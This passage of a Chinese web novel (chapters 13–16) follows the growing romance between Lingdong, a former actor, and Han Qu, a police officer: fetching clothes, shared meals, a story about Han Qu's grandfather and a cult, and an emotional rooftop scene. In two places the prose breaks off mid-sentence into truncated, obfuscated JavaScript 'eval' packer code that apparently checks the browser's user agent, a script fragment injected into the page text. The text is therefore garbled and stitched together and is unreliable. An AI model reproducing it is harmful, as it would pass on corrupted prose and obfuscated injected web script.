韩渠打量他,“怎么又穿我衣服?” 凛冬一时没话说,双手没处放地往衣兜里一揣,韩渠却笑道:“来吧,拿你的衣服去。” 看着面前的手,凛冬没有立即握住,一方面他在M国独立惯了,这点伤完全不用扶,一方面怪他自己的小毛病,衣兜太舒服的时候,放进去就不想拿出来。 两人“僵持”了会儿,韩渠会错意,忽然上前将凛冬打横一抱,凛冬傻住了,连忙挣扎:“不用不用!” 韩渠说:“不是走不动?” 凛冬面红耳赤,“我走得动!” 怀里的人像个刚被捕获的狞猫,野性未除,眼角都红了,韩渠心里被狞猫的耳尖轻轻挠了下,在电梯前将人放下来,凛冬比他还快地冲进去,仿佛根本没有受过伤。 13.第 13 章 13 纱雨镇外的村庄萧条冷清,尚未来得及清理的废墟展示着不久前那场战争的伤痛。路上凛冬问起阿功,才从韩渠口中得知,阿功是隔壁村子的人,但那个村子比凛冬选择的村子破烂得多,几乎没有人还住在里面。韩渠说阿功的亲人只剩下一个姐姐,凛冬立即就想去阿功家里看看。 “不着急,你脚好了再去。他姐姐早就失踪了,他平时也不住在村里。”韩渠在弯曲的村道上行驶,因为开的是治安局的车,偶尔有村民探着头,紧张地张望。 凛冬靠在椅背上,有些低沉,自责的情绪像一团团翻滚的污秽,缠绕着向上蔓延,令他坐立不安。 韩渠余光往右边扫了扫,“不是你的错。” 凛冬没说话。 “阿功在正常的社会,还能当个普通人,但在这儿,逃不过被温省那种人盯上的命运。”韩渠说,“他的身体素质、反应能力,给人当保镖,其实就是把命卖给对方了,温省根本看不上他那点拳脚功夫,当初雇佣他,打的就是利用他命的主意。没有这一次,也有下一次。” 凛冬轻轻“嗯”了一声,“我知道,我在纱雨镇也待一段时间了,这儿的人……普通人,都不容易。可是……”他停下片刻,“阿功在别的事情上被害死,和因为我被害死,这不一样。” 韩渠应道:“当然不一样,你是单独的个体,而且是个善良的人。” 这时忽然收到“好人卡”,凛冬侧过头,看了看韩渠。 “要接受消化这种事,得有个过程,对你来说,这个过程可能更长一些。”韩渠缓缓停下车,耐心等着前面一群鸭子经过,“所以我刚才说,这不是你的错,你不需要在为他感到悲伤、可惜之余,再去指责你自己。” 韩渠语气从容坚定,像一阵温和却也不乏强势的风,一点点吹走了那些包裹着凛冬的烂泥,他仿佛终于在腐烂的潮湿中嗅到了一抹清新的空气,忍不住深呼吸,充斥全身的焦躁不安逐渐平息了下去。 “谢谢。”他由衷地说。 韩渠眼中落下一缕笑意,“跟我哪来那么多谢谢说?” 凛冬连忙说:“不是客套,是真的觉得感谢。” “那白一为你忙前忙后,怎么没听你说谢谢?” “白一……”凛冬竟是不知道怎么解释了。 韩渠替他说:“白一是你小弟,和你亲一些。” 不应该出现的醋味凭空飘荡,韩渠会吃这种醋吗?凛冬想也不想就否定了,那么一定只是开玩笑。“韩队你也当我小弟吧!”回应玩笑的只能是另一个玩笑,凛冬指着前面的院子,“到了,就那儿。” 韩渠停车,解下安全带,朝他俯过来,“好啊,冬冬哥。” 没了安全带的束缚,韩渠与他的距离顿时近得突破了正常的社交范畴,他后背紧靠着椅背,眼睛又睁圆了。韩渠笑着往后一撤,右手拇指和食指比出一个正圆圈,抵在自己眼睛上,“我以前就发现,你的眼睛可以睁得这么圆。” 凛冬紧绷的肌肉松弛下来,不由得打了韩渠胳膊一下,“没有这么夸张!” “冬冬哥下车需要小弟服务吗?”韩渠演上了。 凛冬耳根一阵儿一阵儿地发热,赶紧拐着下车。 这院子比“大冬物流”的院子大得多,那边放些杂物,支个炉子都嫌拥挤,这边除除杂草,还能种菜。 种菜是韩渠说的,他进来转了一圈,就对右边那片空地显露出兴趣。而凛冬最早想在那里搞个草坪,但鉴于房间都没全部收拾出来,园艺就只能往后稍稍了。 “草坪?”韩渠听凛冬说了规划,沉思几秒,手一划拉,“那可以在上面弄个轨道。” 凛冬愣了,“轨道?什么轨道?” 韩渠兴致勃勃地说:“火车啊,正好从草坪上穿过。” “我这丁点儿大个院子,还能开火车?”凛冬惊讶极了。 “不是你以为的那种火车,是小火车,只有一个头。”韩渠畅想起来,“刚好可以从房间门口开到院门。” 凛冬:“……” 韩渠:“太适合装点草坪了。” 不是!凛冬心想,谁说草坪上应该长个火车? 韩渠又说:“还可以解决草坪空荡荡的问题。” 凛冬脑海中出现火车头喷着浓烟,从他的草坪呼啦啦开过的画面,烟雾喷了他一脸。他连忙甩头,这院子绝对不允许火车的存在!但下一个画面,韩渠坐在火车头里,正笑着朝他挥手,问他要不要搭车到院门口。 ……好像也不是不能考虑一下。 韩渠这不入流的设计师“规划”完院子,似乎终于想起今天是来干嘛的,“进去拿几件衣服。” 凛冬领着韩渠进了自己平时住的房间,干净倒是干净,但东西堆得有些乱。放眼望去,最整齐的居然是韩渠那件外套。凛冬带回来洗好晾干,此时它被叠得端正,放在床的正中心。而更应该叠的被子随意地裹成一团,给它让道。 “我这外套……”韩渠笑道:“在你这儿日子过得挺好。” 凛冬倒吸一口气,想起当时的情形。韩渠这外套晾干之后,他本想放进衣柜挂着,但看着衣柜里一排排自己的衣服,忽然觉得将韩渠这件挤进去,有些奇怪。 换一个人也许他根本不会在意这些,但外套的主人是韩渠,他对韩渠有什么心思,他自己最清楚。越是明白心意,就越是介意,好像将韩渠的衣服和自己的贴在一起,就预示着不可告人的歹意。 不放在衣柜里又能放在哪里?这房间里并没有其他能挂衣服的地方。凛冬自己的胡乱扔在沙发、架子上,韩渠的不能这么扔。那天他认真将外套叠了又叠,整齐得都能放在男装店的展台上作为新品售卖了,最后将它摆在床中间,欣赏一番,才关门离去。 凛冬尴尬之余,拿起外套一把塞到韩渠怀里,“物归原主了!” 韩渠却按着他的肩膀,让他坐下,“你别忙着物归原主,走来走去,脚不痛吗?” “不痛,我先……嘶!”凛冬站起时一个用力,左脚立即“作妖”似的痛起来。 “所以让你别乱动。”韩渠更像是这里的主人,“拿哪些衣服,你说,我来。” “唔,那边那个柜子,卫衣,灰色那件,还有裤子,随便哪条都行。”凛冬挺着腰背,韩渠走到哪边,他上半身就歪到哪边。 当过多年明星,就算现在成了个在小国做生意的商人,凛冬的衣品还是没得说,也喜欢买,衣柜里一半是常穿的日常服,另一半比较时尚另类,去“雨林情”客串乐手时穿。 韩渠显然对后者更有兴趣,帮凛冬拿卫衣时,随手拨了好几下,还扯出其中一件,“这件也带上?” 那是一件深红色有暗纹刺绣的西装,穿的话,还应该配上相应的首饰,凛冬坚定地摇头。 韩渠又扯出另一件,这件更夸张,到处是破洞,像一块镶钻的抹布。凛冬的脑袋都快摇出了残影。 韩渠一件件欣赏完凛冬的衣服,为只拿了卫衣和运动裤感到遗憾。问:“真不带其他的了吗?” 凛冬红着脸说:“要。”说着指了指衣柜下方的抽屉。 “我就说嘛,其他风格的也带上。”但韩渠拉开抽屉,只见里面摆放着一排内裤。 见韩渠动作顿住,凛冬又要站起来,“呃,这个我自己拿!” “差点忘了。”韩渠举止倒是半点尴尬也不见,拿起内裤放在卫衣上,还数了数,“够吗?” “够了!” 韩渠又去开另一个抽屉,自言自语:“袜子,袜子。找到了。” 看见韩渠用睡衣将内裤包起来,凛冬终于松口气。但韩渠把所有要带走的衣服装好袋之后又问:“真的不带别的了?” 凛 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本来拿上衣服就要回去,但韩渠顺手打扫了下卫生,院子里那一块空地变得整洁许多。凛冬拿着钥匙锁院门,忽然又将院门推开,韩渠已经将车发动起来,以为他忘了什么东西,单手撑在副驾上问,“还要拿什么?我去拿。” 凛冬却摇摇头,望着想象中的草坪,“韩队,我决定了。” 韩渠下车,快步来到他身边,“怎么?” “我要在草坪上铺轨道,再搞个火车头过来。”凛冬眼里泛着清亮的光,“要有一个露天货箱的那种火车头,我不会开火车,就坐在货箱里。” 韩渠没想到他突然停下是在琢磨火车的事,莞尔,“我小时候最喜欢开火车,每次开火车,我都坐火车头。” 回纱雨镇,凛冬听了一路韩渠开火车的故事。韩渠家附近有个小公园,游乐设施不多,最受欢迎的是一辆从树丛中穿过的火车。 星期五下午,韩渠扔了书包就要去坐火车,动作要是慢点,就抢不到火车头的位置,当不成司机。但当年的小男孩还不是后来威风的特警,没长个儿,体格也不怎么样,只是仗着速度快,总是能第一个爬上火车。可遇到欺负人的胖男孩就没办法,人家一肘子就能将他推下去。 其他孩子是父母送来,韩渠呢,是爷爷,老人家一辈子不和人争执,看他一骨碌从火车掉下来,也只能抱住他拍拍灰,将他放到火车尾巴上。 凛冬想象不出韩渠被欺负的画面,着急地问:“你没有抢回去吗?” “抢啊,抢不过。”韩渠笑着继续说,他心里很不服气,气恼爷爷不帮自己,夜里想着别人有父母撑腰,自己只有一个不会打架的爷爷,居然委屈得哭了。 凛冬在医院陪韩渠时,就已听说韩渠很早就没了父母,是跟着爷爷长大的。韩渠亲口提到失去父母,这却是第一次。他想说点什么,但沉重的气氛很快被韩渠自己的笑声打断。 “老爷子虽然打不过年轻人,但有钱。”韩渠说,那之后天天家里都有牛肉吃,爷爷专门请了个做饭阿姨,逼着他吃肉。又过了小半个月,他再次在抢火车头的争斗中落败,回家却看见客厅摆着他梦寐以求的火车头! 凛冬被这发展惊到了,“所以你在家里开火车?” “很小的玩具火车。”韩渠说,他和爷爷的家并不是别墅,那小小的玩具火车简直就是客厅里的庞然大物。爷爷向来爱整洁,书房里每一本书都各有其位,为了被欺负的孙子,却舍得将客厅变成游乐场。 凛冬心中柔软,“那后来呢?” “后来我牛肉吃多了,再也没谁抢得过我。”韩渠明明说着炫耀的话,声音却很温柔,“没骗你,我当了很久司机,直到不想当。” 回到住处时,夜色已经笼罩住了整座纱雨镇,韩渠停车,凛冬说:“等草坪和轨道都铺好了,再当一次司机,载载我。” 韩渠左手搭在方向盘上,转身看着凛冬,“没问题。” 14.第 14 章 14 白一送来的炖猪蹄,凛冬中午吃完后还剩下大半。晚上治安局周边还有几家餐馆正在营业,韩渠问凛冬想吃什么,凛冬在车上看见一家卖手工米线的店,提议买一包回去,一起把炖猪蹄解决了。 韩渠笑道:“你一天不是米线就是粉,吃不腻啊?” “入乡随俗,这边吃粉的多。”还有个原因凛冬没说,粉和米线下起来最方便,过一遍汤水就好了,不像面和米饭,煮起来麻烦一些。他现在又不需要控制碳水了,米线和粉成了他偷懒时最好的选择。 韩渠下车去买米线,顺便切了一块火腿回来,还拧着一口袋青菜。凛冬眨了眨眼,心道真有默契,火腿和青菜也是他烫米线时的必备菜,几分钟时间,碳水蛋白质蔬菜就齐了。 到家,凛冬刚要进厨房,韩渠就将装着衣服的口袋递给他,叫他自个儿收拾去。他拿着口袋来到卧室,哭笑不得,就这几件衣服,有什么可收拾的。韩渠分明是不让他干活。 衣服摊开放在床上,凛冬又想到下午在家里那尴尬的一幕,现在他的衣服到了韩渠的临时住处,应该放在哪里?墙边有一排柜子,他还没有打开过。转身一扫整个房间,昨天住进来时只是觉得整洁,如今有了自己家的对比,凛冬才意识到可见范围内几乎没有什么多余的东西。 “韩队!”凛冬喊道,“衣服可以放在你柜子里吗?” 韩渠的声音和淘洗青菜的水声一同传来,“随便放。” 得到允许,凛冬这才打开柜子。和他想象中差不多,柜子很空,悬挂区只挂了三件衣服,隔层上叠放着几件,最底下的角落横放着一个黑色行李箱。凛冬没有衣服需要悬挂,猜抽屉里一定放着韩渠的内裤和袜子,连抽屉都不敢打开了,将自己的卷吧卷吧,和其他衣服一起塞到一个空着的隔层上。 猪蹄汤很白,煮沸之后冒着大个的水泡,凛冬看韩渠切火腿、下米线、烫青菜,总想插一手,韩渠却只给他安排了最简单的任务——洗两个大碗、两个小蝶、两双筷子。 热腾腾的猪蹄米线上桌,两碗下面都垫着蔬菜,一碗上面有两只猪蹄,火腿少一点,一碗铺满了火腿。凛冬不满意,要将自己这碗多出的猪蹄夹给韩渠,韩渠勒令:“自己吃,我又没伤着脚。” 凛冬其实根本不信什么以形补形的说法,小时候摔伤腿,被按着吃猪蹄,吃得他怀疑自己马上就要变成一只小猪仔。但白闪受伤,他却也照着家乡的习俗炖了猪蹄送去。现在又轮到他,他还是不信吃啥补啥能在自己身上应验。归结起来,大约是一种知道不可信,但希望别人能好起来的心理。 猪蹄送不出去,凛冬只好自己吃,时不时看看韩渠。韩渠碗里虽然没有猪蹄,但显然没有亏待自己,火腿管够。凛冬吃一天猪蹄了,腻得慌,自个儿碗里几片火腿吃完,越看越馋韩渠的。 韩渠一抬眼,正好装上他“贪婪”的眼睛,他连忙躲开,韩渠却笑了一声。 “想吃火腿?” “……” “不给你。” “……” 晚饭后,凛冬终于抢到了洗碗的活儿,但灶台仍是韩渠收拾的。很简单的一餐,甚至关键的炖猪蹄都不是他们自己做的,凛冬还是感受到了一种类似“过日子”的踏实。 “来,我看看你的脚。”凛冬洗过澡,头上还搭着毛巾,就听见韩渠在客厅叫自己。他胸口忽然咚咚两下,想起韩渠昨天说了,要给他涂药。 沙发是L型的,两人各自坐在折角的两边,凛冬的左脚放在韩渠腿上,韩渠在伤处轻轻按压,凛冬却不敢看韩渠。经过一天,肿胀已经消了不少,但和周围的皮肤相比,还是比较红,有淤血。韩渠在手心倒上药,抹上去慢慢活动。 疼痛并不明显,让凛冬承受不住的是另一种感觉,痛,但不是停在表皮上的痛,痒,随着韩渠的动作一路向上蔓延,让心跳不断加快的痒。 药让伤处发热,起到活血化瘀的作用,可他胸膛里却有什么东西淤积起来了,热度顺着血管推上脖颈,他不停地深呼吸,想要让心跳平复下去。 韩渠放下他左脚的时候,他长长吐出一口气,后背已经出了一片密实的汗。 “消肿得比较快,明……”韩渠抬头,话音一顿。 凛冬赶紧收回脚,穿上拖鞋就要走,“药,药油很热,我,我昨天自己,自己涂时也全身发热,我去喝,喝口水!”说完,凛冬就拖着伤脚冲到水壶边,幸好里面的水已经冷掉,他没找到杯子,倒了满满一大碗,一饮而尽。 韩渠手里还拿着药油的瓶子,手指残留着凛冬皮肤上的温度。药油会发热,受伤的肿胀处也会,他的手指也会。但藏在布料中的胸膛应该不会。韩渠看着凛冬咕咕灌水的背影,手背碰了碰自己的胸口,忽然觉得,自己可能也需要来上一碗。 凛冬背对韩渠站了半天,浑身的燥热终于消退,这才若无其事地转过来。韩渠收好药油,去洗了手,两人视线一对上,凛冬觉得韩渠有点奇怪,像有什么话要说。今天上午他就有这种感觉了,但韩渠没有欲言又止的理由,他便没多想,此时他也有点忍不住了,问:“韩队,你是不是想说什么?” 韩渠本想坐下,闻言愣了愣。时间还早,不至于这就去睡觉了,韩渠走到阳台上,风一吹,刚刚泛起来的躁动消退些许。凛冬也走过去,站在阳台的另一边。两人各自安静,只有晾着的衣服和风一起发出轻响。 凛冬将从昨天到今天发生的事匆匆过了一遍,发现韩渠的微妙改变是从白一来送炖猪蹄之后出现的。 “那个,韩队。”凛冬喊了声,却没有看韩渠的方向。 “嗯?” “早上你和白一是不是聊了我?” 问题抛出去,凛冬忽然变得非常紧张,他不知道自己会得到一个什么样的答案。十秒钟,半分钟,韩渠都没有回答,他渐渐有些不安和后悔,自己是不是不该这样问。 “其实……”他正要开口岔开话题,以缓解尴尬,韩渠的话却将他仓促打出的腹稿撕了个粉碎—— “我们有个‘孩子’。我也是今天才意识到。” 凛冬耳边嗡一声响,仿佛纱雨镇不常见的冬雷。他睁大双眼,一瞬转向韩渠,“我们……什么?” 纱雨镇的夜晚看得见星星,韩渠靠着栏杆,仰头望着星星,仿佛自言自语,“我以前怎么就没想到?” 白一那番言论在凛冬脑中轰然炸开,也许因为太离奇反而有了说服力,凛冬早就接受了。但自己接受和韩渠亲自说出来,这完全是两回事! “你……”凛冬连怎么解释都不知道了,“你不要听白一乱说,他这个人,汉语不怎么好,天天没事干就乱想,他,他开玩笑的。” 韩渠的视线重新落在凛冬脸上,他看过了星星,此时眼里好似含着星星的馈赠,“你觉得不是这样吗?” 凛冬更乱了,“不是,这不是觉得不觉得,我们怎么可能有孩子……” 韩渠低头笑了笑,笑声比之前的轻一些,然后又看着凛冬。“但有羽风这个‘孩子’,我觉得是件很……“韩渠停下来,也在思索词语,但终是没有想到最贴切的形容,“很珍贵的事。” 凛冬怔怔的,“珍贵?” “你想,对我们之外的所有人来说,羽风是电视剧里的一个角色,或者小孩向往的那种英雄,有谁能将他当做‘孩子’吗?好像只有你,现在还可以加一个我。”韩渠说:“白一这么跟我说,我很高兴。” 可韩渠仍未能完整地表达自己高兴的缘由,“孩子”这种说法,让他和凛冬有了一种独一无二的,排他的关系。 “是吗。”凛冬身体里叫嚣的躁动缓缓回落,他稍稍安心,“我担心你会觉得很离谱。”甚至是恶心、抵触。 韩渠摇头,“明明很贴切,解答了我自己的一些困惑。” 凛冬无暇追问韩渠的困惑是什么,放任自己沉浸在幸福和松弛的情绪中。 “还没有和你一起看《羽事》,要不要一起看看?”韩渠说:“我手机里有。” 凛冬双脚一下子落到了现实的地板上,他有些局促地说:“下次吧。” 韩渠将手机收回去,没坚持。他看得出凛冬不愿意看《羽事》,也许是退圈后不想再回顾过去的作品,也许是看着自己的脸会觉得尴尬。今天提到“孩子”,他也并非镇定自若。两人再次陷入沉默。 “韩队,介不介意我问点私人问题。”将天上的星星数了个遍之后,凛冬开口。 “那你也要回答我的私人问题。”韩渠笑道。 凛冬点点头,“我一直很好奇,你为什么会成为特警。” “这个啊,那就说来话长了。” “有多长?” 韩渠想了半分钟,他不说话的时候,凛冬就看着他的侧脸。凛冬看过洛城市局每一年的宣传片,希望在其中找到韩渠的身影,但韩渠从来没有拍过,出现在上面的都是韩渠那些形象优越的队友。 可韩渠其实也长得很帅,鼻梁挺拔,下颌利落,眼窝也很深,他重伤昏迷时,整个人看上去都变得干瘪,面部更是没有生气,凛冬那时看着纸一般的他,时时刻刻为他祈祷,如今那张立体的侧脸安然出现在凛冬面前,凛冬鼻腔忽而有些发酸。 “我是爷爷带大的,这你知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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高中三年,韩渠对将来一直处在天马行空的状态中,他在上高中之前的暑假蹿了个子,老韩带他去海边度假,他晒了一身黑皮回来,一开学就成了最受关注的男生,之后篮球赛、足球赛、打群架,甚至K歌,哪里都有他,成绩虽然不突出,但也过得去,他觉得以后去打球、当模特、当医生,什么都行,没有特别的期待,也无所谓抗拒。 面对犟种老韩,他第一次有了强烈的想要成为什么的冲动。他要当一个警察,抓捕伤害普通人的罪犯,敲醒老韩这样的老顽固。 老韩视警察为敌人,得知他要考警校,气得饭都吃不下。两人都犟,老韩越是不让,韩渠越是非警察不当。最后妥协的只能是老韩,高考结束后,是老韩在一片中年家长中垫着脚,紧张地望着他,接到他的第一句话是:“心想事成,心想事成!” 燥热的夏天,韩渠如愿拿到录取通知书,到了秋天,就要离家求学。老韩不再数落他,爷孙俩在国内外旅游了一个多月。去警校报到之前,韩渠收拾行李,老韩给他准备的东西太多了,且还不停增加,他根本收拾不完。老韩慈爱地看着他,眼中隐约有泪花。 那一刻,他发现这个犟种老头真的老了,顶多跟他强调,自己没有上当受骗,那三百万是自愿献给“主”的。他忽然不想再纠正老韩,抱了抱老韩,老韩却嫌他肉麻,嘀嘀咕咕地将他推开。 可他知道老韩舍不得他,分别的机场,当他回头看,老韩还站在安检口外面,垫脚望着他。像接他高考结束,也像他小时候,垫脚等着老韩来接。 邪.教还有不少残余势力,那几年警校经常将曾经风靡的邪.教当做案例来讲,韩渠听着,却不会再回去说老韩。在他大三那年,老韩去世了,走得还算安详,牵着他的手,说:“爷爷求过‘主’了,祂会保佑我的好孙孙。” 老韩这人确实亲人缘薄,只有韩渠一个至亲为他送别,但韩渠猜,老韩也没有多少遗憾。 “钱花出去,是希望你平安。”凛冬眼眶微微泛红,“所以爷爷才不觉得被骗,在他自己的定义里,他不是受害者。” 韩渠看向凛冬的眼神深了深,凛冬回视,有些尴尬,“我刚才有感而发了。” 韩渠摇头,“谢谢你。” 凛冬不解,只看着韩渠。 “以前我不理解他,埋怨他,一门心思纠正他,甚至为此才选择警察。”韩渠道:“后来我懂他了,但他已经成为‘案例’,被打上受害者的标签,还是个顽固不化的受害者。可在我心里,他就是个犟种老头,要不是盼我好,他也丢不了那三百万,成不了受害者。” 风迎面吹来,凛冬散开的发丝有一缕被吹到脸上,韩渠不经意抬起手,帮他理了理。 “所以谢谢,老头知道有人理解他,一定很高兴。” 15.第 15 章 15 凛冬睡前和白一打了通电话,关心“大冬物流”的情况,白一气冲冲地说,今天送货时,对接方新来了个项目头子,耀武扬威的,把他们当小弟呼来唤去,他上去理论,差点打起来。 凛冬听得皱眉,白一又笑起来,说已经解决了,那孙子是个关系户,被顶头上司修理了一顿。凛冬叹气,让白一在外面注意点,火气不要那么旺。 “我有分寸,我看他什么都不懂,才给兄弟们出头的。”白一问:“哥,炖猪蹄好吃吗?我明天……” “明天别炖了。”凛冬忙说。 “为什么?”白一不高兴,“味道不好吗?我可以改进!” “好,我们今天喝得一滴汤都不剩。”凛冬不想麻烦白一,他不在,白一就是“大冬物流”的指挥官,哪有精力天天给他炖猪蹄。 白一嘿嘿笑起来,“没事哥,我不忙,炖个猪蹄而已,花不了多少时间。” 凛冬却说什么都不想让白一送了,勒令他好好休息,睡不好才火气大。 白一答是答应了,但忍不住操心,“那你明天吃什么?你又不能出来买菜。不多吃点猪蹄,脚怎么好?” “韩渠在,还少得了我吃?”话就这么自然地说了出来,凛冬后知后觉地耳根发烫,归咎于手机贴得太近了,连忙换到左边。 白一“哟”起来,乐呵呵的,“对哦,韩哥在,那我就真不管你了啊。” 交待完白一,凛冬关灯睡觉。今天他起得太晚,明天想早点起来,做个双人份的早餐。刚才他看见冰箱里有蛋,橱柜里还有点米面,做早餐足够了。 但韩渠的床似乎有种魔力,一觉醒来,天又已经大亮,开门一看,桌上放着用一次性餐具装着的早餐,韩渠穿戴整齐,正躬在桌边写着什么。 见他出来,韩渠直起身子,将写了一半的纸揉成一团,“早上好。” “早上好。”凛冬心感抱歉,“你要出去?” 韩渠丢掉纸团,“今天要配合治安队的特警训练,早就安排好的。早上将就吃点,这家我经常去,味道不错。” “好的。”凛冬听见治安局方向传来的操练声,赶紧催促,“韩队你快去,我自己待着就行。” 韩渠笑道:“比我还急?” 凛冬有些内疚,如果他没有受伤住在韩渠这里,韩渠根本不用给他带早餐回来,早就去治安局了。他最不愿意的,就是影响韩渠工作。 “没事,我不用去那么早。”韩渠说:“不过你催我,我可就走了。” 凛冬送韩渠到门口,韩渠换好鞋后又说:“午饭等我回来一起吃,我带回来。” “不……”凛冬下意识又要拒绝,韩渠却打断他:“又不,哪来那么多不,我只是来交流,还能不吃饭啊?” 凛冬:“噢……” 韩渠走了,凛冬洗漱完,拉开椅子坐下。韩渠买回来的是鸡蛋粥和小蒸糕,好笑的是小蒸糕还是玫瑰味的,估计是韩渠觉得好看,便买了回来。 凛冬吃了两口,忽然想起韩渠刚才是在给他留字条。垃圾桶昨晚倒过一次,现在新套上去的垃圾袋里只有那一团皱巴巴的纸,凛冬走过去,将纸拿出来时莫名有点做贼心虚。 纸是从韩渠随身带着的本子上撕下来的,凛冬将它展开,韩渠“威武”的字迹出现在上面—— 冬冬(划掉),凛冬(划掉),冬哥,我去治安局了,桌上是早餐,别出门,等我中 凛冬唇角不由得扬起,手指在自己三个名字上用力划动,想要将皱痕揉平。韩渠的字很大一个,简直是字如其人。凛冬忽然甩甩头,并不是字如其人,只有个头大这一点相似。 即便他对韩渠的滤镜厚如瓶底,对韩渠那能撑满田字格的字也夸不出口,韩渠的人要是长得和字一样,那……凛冬喝着粥,一边觉得自己肤浅,一边又想,这假设本来就没有意义,韩渠就是韩渠。 吃完早餐,凛冬将屋里简单收拾一番,从治安局传来的操练声更大了。他很想看看韩渠在训练场上的样子,但屋里几扇窗户都看不见。脚已经不怎么痛了,但想到韩渠的叮嘱,凛冬还是没有冒冒失失去跑去治安局。不过很快,他想到一个主意——去楼顶。 这栋楼一共五层,楼顶可以上去。凛冬搭电梯到五楼,又爬了一层,天台门一打开,顿感视野开阔,治安局大半个训练场尽收眼底。 上次凛冬去送快递时,训练场上还光秃秃的,如今已经安置上了许多障碍器材,年轻的M国特警们看来已经做过了准备活动,正在分组练习。 人群中,凛冬轻易搜索到韩渠。韩渠身上不再是出门时那套运动装,而是黑色的特警服,戴着帽子,正在和一队特警讲着什么。凛冬一眨不眨地看着他,只恨自己没有千里眼顺风耳,只能将就看个轮廓。 不久,围着韩渠的特警散开,韩渠一个助跑,颀长的身躯顿时舒展,猎豹一般从三个高耸的组合障碍上飞跃过去,身姿异常轻盈,好似根本没有用力。 凛冬看得睁大双眼,特警们也爆发出欢呼。接着,韩渠又示范了几个动作,不止是他带的小组,其他小组也忍不住上前观看。 凛冬起初看得笑眼弯弯,不知什么时候,鼻腔却阵阵发酸。可他只是盯着韩渠,不舍得错过健康的韩渠的任何一个动作,直到眼泪没有征兆地落下来,“啪嗒”打在他不经意紧握的双手上。 视野因为泪水而模糊,他连忙擦拭,可是第一滴眼泪仿佛打破了情感的堤防,他怎么都擦不完,世界像是变成了毛玻璃,韩渠的身躯和训练场模糊成块状的光影。 “呜——”没有人的楼顶,他终于放任自己呜咽出声。他第一次见到的韩渠,就如现在这样,强悍却轻盈,带着一帮特警训练,被簇拥,被模仿,是最耀眼的一个。 羽风身上烙印着韩渠的痕迹,怎么不是呢?因为早在他们初见之时,韩渠就像炙热的太阳,给他打上了永远不会消失的痕迹。 可是他已经很久没有看到这样的韩渠了,回到他身边的是奄奄一息的消瘦身躯,遍布伤痕,被折磨得不成人形,昔日雕塑般精美的肌肉再也不见。他在病床边祈祷韩渠醒来时,都不敢许愿上天能让韩渠变回原来的样子,他怕上天认为他贪得无厌,连让韩渠醒来这个愿望都不为他实现。 韩渠苏醒,他已经满足了,重逢后他刻意避免提到韩渠的恢复情况,韩渠看起来很好,他便也假装忘记了ICU里一次次危重,告诉自己,人还在就好。 而现在,他不敢奢望再次看到的画面在眼前重现,韩渠依旧是无数特警中最耀目的太阳,那些降临在韩渠身上的浩劫似乎只是一场尘埃风暴,韩渠将它们消融,纳为生命的一部分。 那是健康的韩渠,他不敢许愿,韩渠却实现了他的奢望。 凛冬双手捂住脸,肩膀不断抽动,泪水从扬起的唇角划过,他也不知道自己到底是哭还是在笑。再次用湿透的衣袖擦掉眼泪,水洗过的眼睛忽然清明,韩渠的面容逐渐清晰。 这一刻,韩渠似有所感地看过来,视线短暂地左右扫荡,然后定格在他身上。他用力挥手,韩渠摘下帽子,迎着阳光,冲他笑着敬了个十分随意的礼。 上午的训练尚未结束,凛冬回到家中,狠狠洗了把脸,他哭得痛快,一照镜子才发现面容狼狈,顿时心道糟糕。刚才在顶楼,离得远,韩渠不可能看清他正在哭。但中午回来面对面,眼眶一点红都难以遮掩。 凛冬赶紧用湿毛巾给眼睛做冷敷,耳朵竖起来听训练场的情况。12点,训练场没声音了,凛冬脸都快贴在镜子上,眼皮已经消肿,就眼白上还有些红血丝。凛冬松了口气,没问题,就算韩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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凛冬装傻,“嗯?没什么啊,滑鸡你不吃了吗?那我全吃了噢。” 韩渠说:“你还全吃,一共就没见你吃两块。” 凛冬快速往自己碗里夹,“你看错了,我一直在吃的。” “眼睛怎么了?”韩渠这么一问,凛冬筷子不动了。 “没,没怎么啊。” “我看到你了。”韩渠又说:“顶楼风景不错?” 凛冬听不出半点指责的意思,而且他和韩渠都互相挥手了,肯定是看见的,“啊,我没事干,看你搞训练呢。” 韩渠说:“那为什么看着看着就哭了?” 凛冬瞠目结舌,哑了半天心说,他一定是在诈我,于是挺了挺腰,“我哭?怎么可能?我好好的哭什么?你看见了?” “我看见了。”比起凛冬刻意彰显的气势,韩渠温和得多,但说出来的话令凛冬一点反驳的余地都没有。 凛冬还是不大相信,“你……那么远,你看错了。” 韩渠笑了笑,“你是不是没有见识过我的视力啊?” 凛冬心里忐忑,韩渠只纠正过他握枪的姿势,他确实没有亲眼见过韩渠玩狙,洛城市局特警支队那么多佼佼者,韩渠是其中最优秀的一个,可想而知…… 那他也没想过韩渠用那双看狙击.枪瞄准镜的眼睛来看他是不是在顶楼哭花了脸啊! “是因为我吗?”凛冬正懊恼着,忽然听见韩渠的声音,再抬头,就被韩渠沉沉的目光笼罩住了。 “我……”他不知怎么解释当时的失控,脸颊迅速蔓上血色。 “我明白。”韩渠说。 他张了张嘴,韩渠的明白,指的是什么? 韩渠站起来,走到他面前,朝他张开双手,“要不要亲自感受一下我是不是真的恢复了?” 胸中的那股热意再次沸腾,凛冬抓住韩渠伸过来的手,刚要用力,韩渠已经一把将他拉了起来,他失去重心,惊讶地喊了一声,被韩渠圈在怀里。 对面那颗心脏正有力地跳跃着,凛冬将脸埋在韩渠肩头,双手轻轻描摹韩渠肌肉的线条。 韩渠感到肩头渐渐有了湿意,凛冬声音轻得像是羽毛,“真好,韩队,真好。” 16.第 16 章 16 自从发现顶楼这个好去处之后,凛冬大部分时间都待在那里,虽然不是每时每刻都能看到韩渠,但待在开阔的风里,心境好似都舒畅了许多。唯一让他伤脑筋的是餐食。韩渠没有时间做饭,顿顿从治安局里带,凛冬不是不能吃,但那味道着实不怎么样,再加上难得和韩渠一块儿生活,总想为韩渠做点什么。 